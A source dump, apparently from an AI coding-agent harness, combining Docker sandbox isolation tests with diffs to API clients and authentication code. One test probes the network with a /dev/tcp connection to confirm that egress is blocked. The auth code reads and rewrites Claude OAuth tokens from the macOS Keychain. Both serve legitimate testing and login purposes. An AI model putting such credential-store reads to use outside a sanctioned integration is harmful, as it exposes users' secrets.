rc, stdout, _ = await _run_and_capture(
session, ["pwd"], project_dir,
)
assert rc == 0
assert str(project_dir.resolve()) in stdout
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 4. Filesystem isolation
# ---------------------------------------------------------------------------
class TestFilesystemIsolation:
def test_bind_mount_readable(self, e2e_image, project_dir):
"""Files in the project directory should be readable from inside the container."""
marker = project_dir / "test_marker.txt"
marker.write_text("E2E_MARKER_OK", encoding="utf-8")
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-fsread", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session, ["cat", str(marker)], project_dir,
)
assert rc == 0
assert "E2E_MARKER_OK" in stdout
finally:
await session.stop()
asyncio.run(_run())
def test_bind_mount_writable(self, e2e_image, project_dir):
"""Files written inside the container should appear on the host."""
output_file = project_dir / "from_container.txt"
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-fswrite", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, _, _ = await _run_and_capture(
session,
["bash", "-c", f"echo CONTAINER_WROTE_THIS > {output_file}"],
project_dir,
)
assert rc == 0
assert output_file.exists(), "File written in container should exist on host"
assert "CONTAINER_WROTE_THIS" in output_file.read_text()
finally:
await session.stop()
asyncio.run(_run())
def test_host_root_not_accessible(self, e2e_image, project_dir):
"""The container should NOT be able to read host files outside the bind mount."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-fsfence", cwd=project_dir,
)
async def _run():
await session.start()
try:
# /etc/hostname exists on the host but should not be the same inside
# the container (container has its own /etc/hostname).
# More importantly, a path like /root/.bashrc should not be the host's.
rc, stdout, _ = await _run_and_capture(
session, ["ls", "/home"], project_dir,
)
# The container should have its own /home (with ohuser),
# not the host's /home
assert rc == 0
assert "ohuser" in stdout, (
"Container /home should contain the sandbox user, not host users"
)
finally:
await session.stop()
asyncio.run(_run())
def test_ripgrep_inside_container(self, e2e_image, project_dir):
"""rg should work inside the container for glob/grep tool integration."""
(project_dir / "hello.py").write_text("print('hello world')\n", encoding="utf-8")
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-rg", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session, ["rg", "--no-heading", "hello", "."], project_dir,
)
assert rc == 0
assert "hello world" in stdout
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 5. Network isolation
# ---------------------------------------------------------------------------
class TestNetworkIsolation:
def test_network_none_blocks_connectivity(self, e2e_image, project_dir):
"""With --network=none, outbound connections should fail."""
settings = _settings() # no allowed_domains -> --network=none
session = DockerSandboxSession(
settings=settings, session_id="e2e-netblk", cwd=project_dir,
)
async def _run():
await session.start()
try:
# Try to reach an external host; should fail
rc, _, _ = await _run_and_capture(
session,
["bash", "-c", "timeout 3 bash -c 'echo > /dev/tcp/8.8.8.8/53' 2>&1 || exit 1"],
project_dir,
)
assert rc != 0, "Network should be blocked with --network=none"
finally:
await session.stop()
asyncio.run(_run())
def test_network_bridge_allows_connectivity(self, e2e_image, project_dir):
"""With allowed_domains set, --network=bridge is used and DNS resolves."""
settings = _settings(network_domains=["github.com"])
session = DockerSandboxSession(
settings=settings, session_id="e2e-netok", cwd=project_dir,
)
async def _run():
await session.start()
try:
# With bridge network, DNS resolution should work
rc, stdout, _ = await _run_and_capture(
session,
["bash", "-c", "getent hosts github.com 2>/dev/null && echo DNS_OK || echo DNS_FAIL"],
project_dir,
)
# getent may not be installed in slim image; check if we at least
# have network interfaces beyond loopback
rc2, stdout2, _ = await _run_and_capture(
session,
["bash", "-c", "cat /proc/net/route | wc -l"],
project_dir,
)
route_lines = int(stdout2.strip()) if stdout2.strip().isdigit() else 0
assert route_lines > 1, (
"Bridge network should have routing entries beyond just the header"
)
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 6. Resource limits
# ---------------------------------------------------------------------------
class TestResourceLimits:
def test_cpu_limit_applied(self, e2e_image, project_dir):
"""Container should reflect the configured CPU limit."""
settings = _settings(cpu_limit=1.5)
session = DockerSandboxSession(
settings=settings, session_id="e2e-cpu", cwd=project_dir,
)
async def _run():
await session.start()
try:
result = subprocess.run(
[_DOCKER, "inspect", "--format", "{{.HostConfig.NanoCpus}}",
session.container_name],
capture_output=True,
text=True,
)
# Docker stores NanoCpus as int nanoseconds: 1.5 CPUs = 1_500_000_000
nano = int(result.stdout.strip())
assert nano == 1_500_000_000, f"Expected 1.5 CPUs (1500000000 nano), got {nano}"
finally:
await session.stop()
asyncio.run(_run())
def test_memory_limit_applied(self, e2e_image, project_dir):
"""Container should reflect the configured memory limit."""
settings = _settings(memory_limit="256m")
session = DockerSandboxSession(
settings=settings, session_id="e2e-mem", cwd=project_dir,
)
async def _run():
await session.start()
try:
result = subprocess.run(
[_DOCKER, "inspect", "--format", "{{.HostConfig.Memory}}",
session.container_name],
capture_output=True,
text=True,
)
mem_bytes = int(result.stdout.strip())
expected = 256 * 1024 * 1024 # 256 MiB
assert mem_bytes == expected, f"Expected {expected} bytes, got {mem_bytes}"
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 7. Session integration (start_docker_sandbox / stop_docker_sandbox)
# ---------------------------------------------------------------------------
class TestSessionIntegration:
def test_session_lifecycle(self, e2e_image, project_dir):
"""start_docker_sandbox / stop_docker_sandbox should manage the global session."""
from openharness.sandbox.session import (
get_docker_sandbox,
is_docker_sandbox_active,
start_docker_sandbox,
stop_docker_sandbox,
)
settings = _settings()
async def _run():
assert not is_docker_sandbox_active()
await start_docker_sandbox(settings, "e2e-session", project_dir)
assert is_docker_sandbox_active()
session = get_docker_sandbox()
assert session is not None
assert session.is_running
# Run a command through the session
rc, stdout, _ = await _run_and_capture(session, ["echo", "session-ok"], project_dir)
assert rc == 0
assert "session-ok" in stdout
await stop_docker_sandbox()
assert not is_docker_sandbox_active()
assert get_docker_sandbox() is None
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 8. shell.py integration (create_shell_subprocess routes through Docker)
# ---------------------------------------------------------------------------
class TestShellIntegration:
def test_create_shell_subprocess_routes_through_docker(self, e2e_image, project_dir):
"""When Docker sandbox is active, create_shell_subprocess should exec inside container."""
from openharness.sandbox.session import (
start_docker_sandbox,
stop_docker_sandbox,
)
from openharness.utils.shell import create_shell_subprocess
settings = _settings()
async def _run():
await start_docker_sandbox(settings, "e2e-shell", project_dir)
try:
process = await create_shell_subprocess(
"echo DOCKER_SHELL_OK",
cwd=project_dir,
settings=settings,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, _ = await process.communicate()
assert "DOCKER_SHELL_OK" in stdout.decode()
finally:
await stop_docker_sandbox()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# CLI entry point for running outside pytest
# ---------------------------------------------------------------------------
def _main() -> int:
"""Run all tests and report results."""
if not _DOCKER_OK:
print(f"SKIP: {_SKIP_REASON}")
return 0
# Collect all test classes
test_classes = [
TestImageManagement,
TestContainerLifecycle,
TestCommandExecution,
TestFilesystemIsolation,
TestNetworkIsolation,
TestResourceLimits,
TestSessionIntegration,
TestShellIntegration,
]
# Ensure image is built first
print(f"Building sandbox image {_E2E_IMAGE}...")
ok = asyncio.run(ensure_image_available(_E2E_IMAGE, auto_build=True))
if not ok:
print(f"FAIL: Could not build {_E2E_IMAGE}")
return 1
print("Image ready.\n")
passed = 0
failed = 0
errors: list[str] = []
for cls in test_classes:
instance = cls()
for attr in sorted(dir(instance)):
if not attr.startswith("test_"):
continue
method = getattr(instance, attr)
name = f"{cls.__name__}.{attr}"
try:
with tempfile.TemporaryDirectory(prefix="oh-docker-e2e-") as tmpdir:
# Inject fixtures based on parameter names
import inspect
sig = inspect.signature(method)
kwargs = {}
if "e2e_image" in sig.parameters:
kwargs["e2e_image"] = _E2E_IMAGE
if "project_dir" in sig.parameters:
kwargs["project_dir"] = Path(tmpdir)
method(**kwargs)
print(f" PASS {name}")
passed += 1
except Exception as exc:
print(f" FAIL {name}: {exc}")
errors.append(f"{name}: {exc}")
failed += 1
print(f"\n{'=' * 60}")
print(f"Results: {passed} passed, {failed} failed")
if errors:
print("\nFailures:")
for e in errors:
print(f" - {e}")
return 1 if failed else 0
if __name__ == "__main__":
sys.exit(_main())
+5
View File
@@ -45,6 +45,7 @@ class ApiMessageRequest:
system_prompt: str | None = None
max_tokens: int = 4096
tools: list[dict[str, Any]] = field(default_factory=list)
effort: str | None = None
@dataclass(frozen=True)
@@ -149,6 +150,10 @@ class AnthropicApiClient:
kwargs["base_url"] = self._base_url
return AsyncAnthropic(**kwargs)
async def close(self) -> None:
"""Close the underlying HTTP client."""
await self._client.close()
def _refresh_client_auth(self) -> None:
if not self._claude_oauth or self._auth_token_resolver is None:
return
+23 -7
View File
@@ -78,6 +78,17 @@ def _convert_messages_to_codex(messages: list[ConversationMessage]) -> list[dict
result: list[dict[str, Any]] = []
for msg in messages:
if msg.role == "user":
# Responses API requires function_call_output items to appear before
# any following user input. A ConversationMessage can contain both
# tool results and user text, so emit the tool outputs first to keep
# every prior function_call immediately satisfied.
for block in msg.content:
if isinstance(block, ToolResultBlock):
result.append({
"type": "function_call_output",
"call_id": block.tool_use_id,
"output": block.content,
})
user_content: list[dict[str, Any]] = []
for block in msg.content:
if isinstance(block, TextBlock) and block.text.strip():
@@ -89,13 +100,6 @@ def _convert_messages_to_codex(messages: list[ConversationMessage]) -> list[dict
})
if user_content:
result.append({"role": "user", "content": user_content})
for block in msg.content:
if isinstance(block, ToolResultBlock):
result.append({
"type": "function_call_output",
"call_id": block.tool_use_id,
"output": block.content,
})
continue
assistant_text = "".join(block.text for block in msg.content if isinstance(block, TextBlock))
@@ -129,6 +133,15 @@ def _convert_tools_to_codex(tools: list[dict[str, Any]]) -> list[dict[str, Any]]
]
def _normalize_reasoning_effort(effort: str | None) -> str | None:
normalized = (effort or "").strip().lower()
if normalized == "max":
return "xhigh"
if normalized in {"low", "medium", "high", "xhigh"}:
return normalized
return None
def _usage_from_response(response: dict[str, Any]) -> UsageSnapshot:
usage = response.get("usage")
if not isinstance(usage, dict):
@@ -251,6 +264,9 @@ class CodexApiClient:
}
if request.tools:
body["tools"] = _convert_tools_to_codex(request.tools)
effort = _normalize_reasoning_effort(request.effort)
if effort:
body["reasoning"] = {"effort": effort}
content: list[TextBlock | ToolUseBlock] = []
current_text_parts: list[str] = []
+4 -8
View File
@@ -26,6 +26,7 @@ from typing import Any
import httpx
from openharness.config.paths import get_config_dir
from openharness.utils.fs import atomic_write_text
log = logging.getLogger(__name__)
@@ -96,19 +97,14 @@ def _auth_file_path() -> Path:
def save_copilot_auth(token: str, *, enterprise_url: str | None = None) -> None:
"""Persist the GitHub OAuth token (and optional enterprise URL) to disk."""
path = _auth_file_path()
path.parent.mkdir(parents=True, exist_ok=True)
payload: dict[str, Any] = {"github_token": token}
if enterprise_url:
payload["enterprise_url"] = enterprise_url
path.write_text(
atomic_write_text(
path,
json.dumps(payload, indent=2) + "\n",
encoding="utf-8",
mode=0o600,
)
# Best-effort permission restriction (ignored on Windows).
try:
path.chmod(0o600)
except OSError:
pass
log.info("Copilot auth saved to %s", path)
+4
View File
@@ -128,3 +128,7 @@ class CopilotClient:
)
async for event in self._inner.stream_message(patched):
yield event
async def close(self) -> None:
"""Close the underlying OpenAI-compatible client."""
await self._inner.close()
+109 -13
View File
@@ -5,7 +5,10 @@ from __future__ import annotations
import asyncio
import json
import logging
import os
import re
from typing import Any, AsyncIterator
from urllib.parse import urlsplit, urlunsplit
from openai import AsyncOpenAI
@@ -143,13 +146,43 @@ def _convert_user_content_to_openai(blocks: list[ContentBlock]) -> str | list[di
return content
_EMPTY_REASONING_ENV = "OPENHARNESS_REQUIRE_EMPTY_REASONING_CONTENT"
def _empty_reasoning_required() -> bool:
"""True when the operator's provider requires an empty
``reasoning_content`` field on tool-using assistant messages
(Kimi-on-Anthropic style). Default off — strict-OpenAI providers
reject the field outright.
"""
raw = os.environ.get(_EMPTY_REASONING_ENV, "").strip().lower()
return raw in {"1", "true", "yes", "on"}
def _convert_assistant_message(msg: ConversationMessage) -> dict[str, Any]:
"""Convert an assistant ConversationMessage to OpenAI format.
Providers with thinking models (e.g. Kimi k2.5) require a
``reasoning_content`` field on every assistant message that contains
tool calls. We stash the raw reasoning text on ``msg._reasoning``
during parsing and replay it here.
``reasoning_content`` is a non-standard field used by thinking models
(e.g. Kimi k2.5) to carry the model's internal chain-of-thought across
turns. Some thinking-model providers require it on every assistant
message with tool calls — even when empty — or they reject the request.
Other OpenAI-compatible providers (Cerebras, OpenAI's own
endpoint, etc.) reject the field outright with a 400
``wrong_api_format`` error.
Behaviour:
- When the streaming parser captured non-empty reasoning on
``msg._reasoning``, we always replay it. Models that emit reasoning
tokens are by definition thinking models that round-trip them.
- When there is no captured reasoning but the message has tool calls,
we emit ``reasoning_content: ""`` only if the operator opts in via
``OPENHARNESS_REQUIRE_EMPTY_REASONING_CONTENT=1``. The default is
omit, which matches strict-OpenAI providers.
The opt-in default keeps strict-OpenAI providers (Cerebras, NVIDIA NIM,
OpenAI direct, etc.) working out-of-the-box; Kimi-on-Anthropic users
set the env var in their dotfiles or settings.
"""
text_parts = [b.text for b in msg.content if isinstance(b, TextBlock)]
tool_uses = [b for b in msg.content if isinstance(b, ToolUseBlock)]
@@ -163,8 +196,9 @@ def _convert_assistant_message(msg: ConversationMessage) -> dict[str, Any]:
reasoning = getattr(msg, "_reasoning", None)
if reasoning:
openai_msg["reasoning_content"] = reasoning
elif tool_uses:
# Thinking models require this field even if empty
elif tool_uses and _empty_reasoning_required():
# Kimi-style providers reject tool_use messages without this field
# even when there's nothing to put in it. Opt-in via env var.
openai_msg["reasoning_content"] = ""
if tool_uses:
@@ -207,6 +241,22 @@ def _parse_assistant_response(response: Any) -> ConversationMessage:
return ConversationMessage(role="assistant", content=content)
def _normalize_openai_base_url(base_url: str | None) -> str | None:
"""Normalize custom OpenAI-compatible base URLs without dropping API path segments."""
if not base_url:
return None
trimmed = base_url.strip()
if not trimmed:
return None
parts = urlsplit(trimmed)
if not parts.scheme or not parts.netloc:
return trimmed.rstrip("/")
path = parts.path.rstrip("/")
if not path:
path = "/v1"
return urlunsplit((parts.scheme, parts.netloc, path, parts.query, parts.fragment))
class OpenAICompatibleClient:
"""Client for OpenAI-compatible APIs (DashScope, GitHub Models, etc.).
@@ -214,12 +264,22 @@ class OpenAICompatibleClient:
so it can be used as a drop-in replacement in the agent loop.
"""
def __init__(self, api_key: str, *, base_url: str | None = None) -> None:
kwargs: dict[str, Any] = {"api_key": api_key}
if base_url:
kwargs["base_url"] = base_url
def __init__(self, api_key: str, *, base_url: str | None = None, timeout: float | None = None) -> None:
kwargs: dict[str, Any] = {
"api_key": api_key,
"default_headers": {"Authorization": f"Bearer {api_key}"},
}
normalized_base_url = _normalize_openai_base_url(base_url)
if normalized_base_url:
kwargs["base_url"] = normalized_base_url
if timeout is not None:
kwargs["timeout"] = timeout
self._client = AsyncOpenAI(**kwargs)
async def close(self) -> None:
"""Close the underlying HTTP client."""
await self._client.close()
async def stream_message(self, request: ApiMessageRequest) -> AsyncIterator[ApiStreamEvent]:
"""Yield text deltas and the final message, matching the Anthropic client interface."""
last_error: Exception | None = None
@@ -278,6 +338,8 @@ class OpenAICompatibleClient:
collected_tool_calls: dict[int, dict[str, Any]] = {}
finish_reason: str | None = None
usage_data: dict[str, int] = {}
# Buffer to strip inline <think>…</think> blocks across streaming chunks.
_think_buf = ""
stream = await self._client.chat.completions.create(**params)
async for chunk in stream:
@@ -301,10 +363,13 @@ class OpenAICompatibleClient:
if reasoning_piece:
collected_reasoning += reasoning_piece
# Stream text content to user
# Stream text content to user, stripping inline <think> blocks
if delta.content:
collected_content += delta.content
yield ApiTextDeltaEvent(text=delta.content)
_think_buf += delta.content
visible, _think_buf = _strip_think_blocks(_think_buf)
if visible:
collected_content += visible
yield ApiTextDeltaEvent(text=visible)
# Accumulate tool calls
if delta.tool_calls:
@@ -386,3 +451,34 @@ class OpenAICompatibleClient:
if status == 429:
return RateLimitFailure(msg)
return RequestFailure(msg)
# Matches complete <think>…</think> blocks (DOTALL so newlines are included).
_THINK_RE = re.compile(r"<think>.*?</think>", re.DOTALL)
_THINK_OPEN_TAG = "<think>"
def _strip_think_blocks(buf: str) -> tuple[str, str]:
"""Strip complete ``<think>…</think>`` blocks and return ``(visible_text, leftover)``.
Complete pairs are removed via regex. An unclosed ``<think>`` is held in
*leftover* so it can be re-evaluated once the closing tag arrives in the
next streaming chunk.
"""
# Remove fully-closed blocks.
cleaned = _THINK_RE.sub("", buf)
# Hold back any unclosed <think> for the next chunk.
open_idx = cleaned.find(_THINK_OPEN_TAG)
if open_idx != -1:
return cleaned[:open_idx], cleaned[open_idx:]
# Streaming providers may split the opening tag itself across chunk
# boundaries (e.g. ``"<thi"`` then ``"nk>..."``). Hold back the longest
# suffix that could still become ``<think>`` on the next chunk.
max_prefix = min(len(cleaned), len(_THINK_OPEN_TAG) - 1)
for prefix_len in range(max_prefix, 0, -1):
if _THINK_OPEN_TAG.startswith(cleaned[-prefix_len:]):
return cleaned[:-prefix_len], cleaned[-prefix_len:]
return cleaned, ""
+61
View File
@@ -2,6 +2,7 @@
from __future__ import annotations
import re
from dataclasses import dataclass
from openharness.auth.external import describe_external_binding
@@ -123,3 +124,63 @@ def auth_status(settings: Settings) -> str:
if resolved.source.startswith("external:"):
return f"configured ({resolved.source.removeprefix('external:')})"
return "configured"
# ---------------------------------------------------------------------------
# Multimodal (vision) capability detection
# ---------------------------------------------------------------------------
# Known multimodal model patterns (lowercase, regex).
# These models can accept image input natively.
_MULTIMODAL_MODEL_PATTERNS: list[re.Pattern[str]] = [
# Anthropic Claude 3+ (all Claude 3 and later support images)
re.compile(r"^claude-3(?:\.\d+)?(?:-sonnet|-opus|-haiku)?"),
re.compile(r"^claude-(?:sonnet|opus|haiku)-\d"),
# OpenAI GPT-4o / o-series
re.compile(r"^gpt-4o"),
re.compile(r"^o[1349]-"),
# Google Gemini
re.compile(r"^gemini-(?:pro-)?vision"),
re.compile(r"^gemini-2\.\d+"),
# Qwen / DashScope VL series
re.compile(r"^qwen-vl"),
re.compile(r"^qwen2\.5?-vl"),
re.compile(r"^qvq-"),
# DeepSeek VL
re.compile(r"^deepseek-vl"),
re.compile(r"^deepseek-vision"),
# Open-source multimodal
re.compile(r"^llava"),
re.compile(r"^cogvlm"),
re.compile(r"^internvl"),
re.compile(r"^glm-4v"),
# Moonshot / Kimi (k2.5 supports images)
re.compile(r"^kimi-k2\.5"),
# StepFun (阶跃星辰) — Step-2 and Step-1v support images
re.compile(r"^step-2"),
re.compile(r"^step-1v"),
# MiniMax VL
re.compile(r"^minimax-vl"),
# Zhipu GLM-4V
re.compile(r"^glm-4v"),
# Mistral Pixtral
re.compile(r"^pixtral"),
# Groq vision models (llama-3.2-vision, etc.)
re.compile(r"vision"),
# Generic: model names containing "vl" or "vision" as a word boundary
re.compile(r"(?:^|[-\s/])vl(?:$|[-\s])"),
]
def is_model_multimodal(model: str) -> bool:
"""Return True when the model name indicates multimodal (vision) capability.
This is a heuristic based on known model naming conventions. It errs on
the side of returning False for unknown models so that the image-to-text
fallback tool is used rather than silently failing.
"""
normalized = model.strip().lower()
# Strip provider prefix like "anthropic/" or "openai/"
if "/" in normalized:
normalized = normalized.split("/", 1)[-1]
return any(pattern.search(normalized) is not None for pattern in _MULTIMODAL_MODEL_PATTERNS)
+14
View File
@@ -124,6 +124,20 @@ PROVIDERS: tuple[ProviderSpec, ...] = (
is_local=False,
is_oauth=False,
),
# ModelScope: OpenAI-compatible inference API
ProviderSpec(
name="modelscope",
keywords=("modelscope",),
env_key="MODELSCOPE_API_KEY",
display_name="ModelScope",
backend_type="openai_compat",
default_base_url="https://api-inference.modelscope.cn/v1",
detect_by_key_prefix="",
detect_by_base_keyword="modelscope",
is_gateway=False,
is_local=False,
is_oauth=False,
),
# === Standard cloud providers (matched by model-name keyword) ============
# Anthropic: native SDK for claude-* models
ProviderSpec(
+4 -2
View File
@@ -6,10 +6,10 @@ from openharness.auth.storage import (
clear_provider_credentials,
decrypt,
encrypt,
load_external_binding,
load_credential,
store_external_binding,
load_external_binding,
store_credential,
store_external_binding,
)
__all__ = [
@@ -22,6 +22,8 @@ __all__ = [
"store_external_binding",
"load_external_binding",
"clear_provider_credentials",
# Deprecated — use _obfuscate/_deobfuscate directly if needed.
# Kept for backward compatibility; will be removed in a future version.
"encrypt",
"decrypt",
]
+177 -30
View File
@@ -5,6 +5,8 @@ from __future__ import annotations
import base64
import json
import os
import platform
import re
import subprocess
import time
import urllib.error
@@ -15,6 +17,7 @@ from pathlib import Path
from typing import Any
from openharness.auth.storage import ExternalAuthBinding
from openharness.utils.fs import atomic_write_text
CODEX_PROVIDER = "openai_codex"
CLAUDE_PROVIDER = "anthropic_claude"
@@ -39,6 +42,8 @@ CLAUDE_OAUTH_ONLY_BETAS = (
"claude-code-20250219",
"oauth-2025-04-20",
)
CLAUDE_KEYCHAIN_SERVICE = "Claude Code-credentials"
_KEYCHAIN_BINDING_PREFIX = "keychain:"
_claude_code_version_cache: str | None = None
_claude_code_session_id: str | None = None
@@ -80,6 +85,23 @@ def default_binding_for_provider(provider: str) -> ExternalAuthBinding:
profile_label="Codex CLI",
)
if provider == CLAUDE_PROVIDER:
configured_dir = os.environ.get("CLAUDE_CONFIG_DIR", "").strip()
if configured_dir:
return ExternalAuthBinding(
provider=provider,
source_path=str(Path(configured_dir).expanduser() / ".credentials.json"),
source_kind="claude_credentials_json",
managed_by="claude-cli",
profile_label="Claude CLI",
)
if platform.system() == "Darwin":
return ExternalAuthBinding(
provider=provider,
source_path=f"{_KEYCHAIN_BINDING_PREFIX}{CLAUDE_KEYCHAIN_SERVICE}",
source_kind="claude_credentials_keychain",
managed_by="claude-cli",
profile_label="Claude CLI",
)
claude_home = Path(os.environ.get("CLAUDE_HOME", "~/.claude")).expanduser()
return ExternalAuthBinding(
provider=provider,
@@ -97,23 +119,24 @@ def load_external_credential(
refresh_if_needed: bool = False,
) -> ExternalAuthCredential:
"""Read a runtime credential from an external auth binding."""
source_path = Path(binding.source_path).expanduser()
if not source_path.exists():
raise ValueError(f"External auth source not found: {source_path}")
try:
payload = json.loads(source_path.read_text(encoding="utf-8"))
except json.JSONDecodeError as exc:
raise ValueError(f"Invalid JSON in external auth source: {source_path}") from exc
if binding.provider == CODEX_PROVIDER:
source_path = Path(binding.source_path).expanduser()
if not source_path.exists():
raise ValueError(f"External auth source not found: {source_path}")
try:
payload = json.loads(source_path.read_text(encoding="utf-8"))
except json.JSONDecodeError as exc:
raise ValueError(f"Invalid JSON in external auth source: {source_path}") from exc
return _load_codex_credential(payload, source_path, binding)
if binding.provider == CLAUDE_PROVIDER:
payload, source_path, keychain_service, keychain_account = _load_claude_payload(binding)
return _load_claude_credential(
payload,
source_path,
binding,
refresh_if_needed=refresh_if_needed,
keychain_service=keychain_service,
keychain_account=keychain_account,
)
raise ValueError(f"Unsupported external auth provider: {binding.provider}")
@@ -154,6 +177,8 @@ def _load_claude_credential(
binding: ExternalAuthBinding,
*,
refresh_if_needed: bool,
keychain_service: str | None = None,
keychain_account: str | None = None,
) -> ExternalAuthCredential:
claude_oauth = payload.get("claudeAiOauth")
if not isinstance(claude_oauth, dict):
@@ -172,7 +197,7 @@ def _load_claude_credential(
auth_kind="auth_token",
source_path=source_path,
managed_by=binding.managed_by,
profile_label=binding.profile_label,
profile_label=keychain_account or binding.profile_label,
refresh_token=refresh_token,
expires_at_ms=expires_at_ms,
)
@@ -182,29 +207,95 @@ def _load_claude_credential(
f"Claude credentials at {source_path} are expired and cannot be refreshed."
)
refreshed = refresh_claude_oauth_credential(refresh_token)
write_claude_credentials(
source_path,
access_token=refreshed["access_token"],
refresh_token=refreshed["refresh_token"],
expires_at_ms=refreshed["expires_at_ms"],
)
if binding.source_kind == "claude_credentials_keychain":
_write_claude_credentials_to_keychain(
service=keychain_service or CLAUDE_KEYCHAIN_SERVICE,
account=keychain_account or os.environ.get("USER", ""),
payload=payload,
access_token=str(refreshed["access_token"]),
refresh_token=str(refreshed["refresh_token"]),
expires_at_ms=int(refreshed["expires_at_ms"]),
)
else:
write_claude_credentials(
source_path,
access_token=str(refreshed["access_token"]),
refresh_token=str(refreshed["refresh_token"]),
expires_at_ms=int(refreshed["expires_at_ms"]),
)
credential = ExternalAuthCredential(
provider=CLAUDE_PROVIDER,
value=str(refreshed["access_token"]),
auth_kind="auth_token",
source_path=source_path,
managed_by=binding.managed_by,
profile_label=binding.profile_label,
profile_label=keychain_account or binding.profile_label,
refresh_token=str(refreshed["refresh_token"]),
expires_at_ms=int(refreshed["expires_at_ms"]),
)
return credential
def _load_claude_payload(
binding: ExternalAuthBinding,
) -> tuple[dict[str, Any], Path, str | None, str | None]:
if binding.source_kind == "claude_credentials_keychain":
return _read_claude_credentials_from_keychain(binding)
source_path = Path(binding.source_path).expanduser()
if not source_path.exists():
raise ValueError(f"External auth source not found: {source_path}")
try:
payload = json.loads(source_path.read_text(encoding="utf-8"))
except json.JSONDecodeError as exc:
raise ValueError(f"Invalid JSON in external auth source: {source_path}") from exc
return payload, source_path, None, None
def _read_claude_credentials_from_keychain(
binding: ExternalAuthBinding,
) -> tuple[dict[str, Any], Path, str, str | None]:
service = binding.source_path.removeprefix(_KEYCHAIN_BINDING_PREFIX).strip() or CLAUDE_KEYCHAIN_SERVICE
try:
raw_payload = subprocess.check_output(
["security", "find-generic-password", "-w", "-s", service],
text=True,
)
metadata = subprocess.check_output(
["security", "find-generic-password", "-s", service],
text=True,
)
except subprocess.CalledProcessError as exc:
raise ValueError(f"Claude Keychain credential not found for service: {service}") from exc
try:
payload = json.loads(raw_payload)
except json.JSONDecodeError as exc:
raise ValueError(f"Invalid JSON in Claude Keychain secret for service: {service}") from exc
keychain_path = _extract_keychain_path(metadata) or (Path.home() / "Library/Keychains/login.keychain-db")
account = _extract_keychain_attr(metadata, "acct")
return payload, keychain_path, service, account
def _extract_keychain_path(metadata: str) -> Path | None:
match = re.search(r'^keychain:\s+"([^"]+)"$', metadata, re.MULTILINE)
if not match:
return None
return Path(match.group(1))
def _extract_keychain_attr(metadata: str, attr_name: str) -> str | None:
match = re.search(rf'"{re.escape(attr_name)}"<blob>="([^"]*)"', metadata)
if not match:
return None
return match.group(1)
def describe_external_binding(binding: ExternalAuthBinding) -> ExternalAuthState:
"""Return a human-readable state for an external auth binding."""
source_path = Path(binding.source_path).expanduser()
if not source_path.exists():
if binding.source_kind != "claude_credentials_keychain" and not source_path.exists():
return ExternalAuthState(
configured=False,
state="missing",
@@ -214,31 +305,40 @@ def describe_external_binding(binding: ExternalAuthBinding) -> ExternalAuthState
try:
credential = load_external_credential(binding, refresh_if_needed=False)
except ValueError as exc:
detail = str(exc)
if "not found" in detail.lower():
return ExternalAuthState(
configured=False,
state="missing",
source="missing",
detail=detail,
)
return ExternalAuthState(
configured=False,
state="invalid",
source="external",
detail=str(exc),
detail=detail,
)
resolved_source = credential.source_path
if binding.provider == CLAUDE_PROVIDER and is_credential_expired(credential):
if credential.refresh_token:
return ExternalAuthState(
configured=True,
state="refreshable",
source="external",
detail=f"expired token can be refreshed from {source_path}",
detail=f"expired token can be refreshed from {resolved_source}",
)
return ExternalAuthState(
configured=False,
state="expired",
source="external",
detail=f"expired token at {source_path}",
detail=f"expired token at {resolved_source}",
)
return ExternalAuthState(
configured=True,
state="configured",
source="external",
detail=str(source_path),
detail=str(resolved_source),
)
@@ -389,7 +489,60 @@ def write_claude_credentials(
existing = json.loads(source_path.read_text(encoding="utf-8"))
except (json.JSONDecodeError, OSError):
existing = {}
previous = existing.get("claudeAiOauth")
existing["claudeAiOauth"] = _merge_claude_oauth_payload(
existing.get("claudeAiOauth"),
access_token=access_token,
refresh_token=refresh_token,
expires_at_ms=expires_at_ms,
)
atomic_write_text(
source_path,
json.dumps(existing, indent=2) + "\n",
mode=0o600,
)
def _write_claude_credentials_to_keychain(
*,
service: str,
account: str,
payload: dict[str, Any],
access_token: str,
refresh_token: str,
expires_at_ms: int,
) -> None:
next_payload = dict(payload)
next_payload["claudeAiOauth"] = _merge_claude_oauth_payload(
payload.get("claudeAiOauth"),
access_token=access_token,
refresh_token=refresh_token,
expires_at_ms=expires_at_ms,
)
subprocess.run(
[
"security",
"add-generic-password",
"-U",
"-s",
service,
"-a",
account,
"-w",
json.dumps(next_payload, separators=(",", ":")),
],
check=True,
capture_output=True,
text=True,
)
def _merge_claude_oauth_payload(
previous: Any,
*,
access_token: str,
refresh_token: str,
expires_at_ms: int,
) -> dict[str, Any]:
next_oauth: dict[str, Any] = {
"accessToken": access_token,
"refreshToken": refresh_token,
@@ -399,13 +552,7 @@ def write_claude_credentials(
for key in ("scopes", "rateLimitTier", "subscriptionType"):
if key in previous:
next_oauth[key] = previous[key]
existing["claudeAiOauth"] = next_oauth
source_path.parent.mkdir(parents=True, exist_ok=True)
source_path.write_text(json.dumps(existing, indent=2) + "\n", encoding="utf-8")
try:
source_path.chmod(0o600)
except OSError:
pass
return next_oauth
def is_third_party_anthropic_endpoint(base_url: str | None) -> bool:
+17 -6
View File
@@ -7,11 +7,13 @@ performs the interactive authentication and returns the obtained credential.
from __future__ import annotations
import logging
import os
import platform
import subprocess
import sys
from abc import ABC, abstractmethod
from typing import Any
from urllib.parse import urlparse
log = logging.getLogger(__name__)
@@ -76,18 +78,26 @@ class DeviceCodeFlow(AuthFlow):
@staticmethod
def _try_open_browser(url: str) -> bool:
"""Attempt to open *url* in the default browser; return True if likely succeeded."""
